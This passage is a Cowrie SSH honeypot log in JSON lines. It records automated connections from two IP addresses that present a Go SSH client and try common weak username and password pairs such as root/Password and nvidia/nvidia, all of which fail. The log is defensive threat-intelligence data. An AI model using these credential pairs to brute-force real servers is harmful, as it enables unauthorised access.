0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:32.404328Z","src_ip":"91.92.40.171","session":"fc16093bab37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:32.410023Z","src_ip":"103.82.132.16","session":"1b2dfc5b955e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47892,"dst_ip":"159.203.135.109","dst_port":22,"session":"df4fe78fc703","protocol":"ssh","message":"New connection: 91.92.42.133:47892 (159.203.135.109:22) [session: df4fe78fc703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:32.679855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:32.760566Z","src_ip":"91.92.42.133","session":"df4fe78fc703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:32.842940Z","src_ip":"91.92.42.133","session":"df4fe78fc703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:33.082653Z","src_ip":"91.92.40.171","session":"fc16093bab37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa1111","message":"login attempt [root/Aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:33.308480Z","src_ip":"91.92.42.133","session":"df4fe78fc703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:34.317949Z","src_ip":"91.92.40.171","session":"fc16093bab37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:34.583282Z","src_ip":"91.92.42.133","session":"df4fe78fc703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57994,"dst_ip":"159.203.135.109","dst_port":22,"session":"076ba1f503b6","protocol":"ssh","message":"New connection: 91.92.40.171:57994 (159.203.135.109:22) [session: 076ba1f503b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:38.766521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:38.840560Z","src_ip":"91.92.40.171","session":"076ba1f503b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:38.923765Z","src_ip":"91.92.40.171","session":"076ba1f503b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"12345","message":"login attempt [openclaw/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:39.299141Z","src_ip":"91.92.40.171","session":"076ba1f503b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57882,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee249420e701","protocol":"ssh","message":"New connection: 91.92.42.133:57882 (159.203.135.109:22) [session: ee249420e701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:39.485712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:39.875009Z","src_ip":"91.92.42.133","session":"ee249420e701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:39.878088Z","src_ip":"91.92.42.133","session":"ee249420e701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:40.393494Z","src_ip":"91.92.40.171","session":"076ba1f503b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:42.156030Z","src_ip":"91.92.42.133","session":"ee249420e701","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:43.713331Z","src_ip":"91.92.42.133","session":"ee249420e701","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46140,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffaa4abfdd39","protocol":"ssh","message":"New connection: 91.92.40.171:46140 (159.203.135.109:22) [session: ffaa4abfdd39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:44.743613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:44.971737Z","src_ip":"91.92.40.171","session":"ffaa4abfdd39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:44.974835Z","src_ip":"91.92.40.171","session":"ffaa4abfdd39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:45.959842Z","src_ip":"91.92.40.171","session":"ffaa4abfdd39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:47.149469Z","src_ip":"91.92.40.171","session":"ffaa4abfdd39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39112,"dst_ip":"159.203.135.109","dst_port":22,"session":"00bf15052827","protocol":"ssh","message":"New connection: 91.92.42.133:39112 (159.203.135.109:22) [session: 00bf15052827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:48.057914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:48.215277Z","src_ip":"91.92.42.133","session":"00bf15052827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:48.221591Z","src_ip":"91.92.42.133","session":"00bf15052827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:49.551708Z","src_ip":"91.92.42.133","session":"00bf15052827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:50.793177Z","src_ip":"91.92.42.133","session":"00bf15052827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46198,"dst_ip":"159.203.135.109","dst_port":22,"session":"92b978cb8011","protocol":"ssh","message":"New connection: 91.92.40.171:46198 (159.203.135.109:22) [session: 92b978cb8011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:51.830472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:52.263604Z","src_ip":"91.92.40.171","session":"92b978cb8011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:52.751400Z","src_ip":"91.92.40.171","session":"92b978cb8011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:54.765699Z","src_ip":"91.92.40.171","session":"92b978cb8011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56682,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aa168d7c1c9","protocol":"ssh","message":"New connection: 91.92.42.133:56682 (159.203.135.109:22) [session: 1aa168d7c1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:55.551733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:55.725578Z","src_ip":"91.92.42.133","session":"1aa168d7c1c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:55.729204Z","src_ip":"91.92.42.133","session":"1aa168d7c1c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:56.595510Z","src_ip":"91.92.40.171","session":"92b978cb8011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57716,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecce63cdf1ba","protocol":"ssh","message":"New connection: 91.92.40.171:57716 (159.203.135.109:22) [session: ecce63cdf1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:56.696488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:56.888626Z","src_ip":"91.92.40.171","session":"ecce63cdf1ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:56.891472Z","src_ip":"91.92.40.171","session":"ecce63cdf1ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:57.277678Z","src_ip":"91.92.42.133","session":"1aa168d7c1c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1qaz@WSX","message":"login attempt [sam/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:57.662404Z","src_ip":"91.92.40.171","session":"ecce63cdf1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:58.769544Z","src_ip":"91.92.42.133","session":"1aa168d7c1c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:24:58.842008Z","src_ip":"91.92.40.171","session":"ecce63cdf1ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57838,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8b0579be375","protocol":"ssh","message":"New connection: 91.92.40.171:57838 (159.203.135.109:22) [session: d8b0579be375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:02.632122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:25:02.953550Z","src_ip":"91.92.40.171","session":"d8b0579be375","protocol":"ssh"}
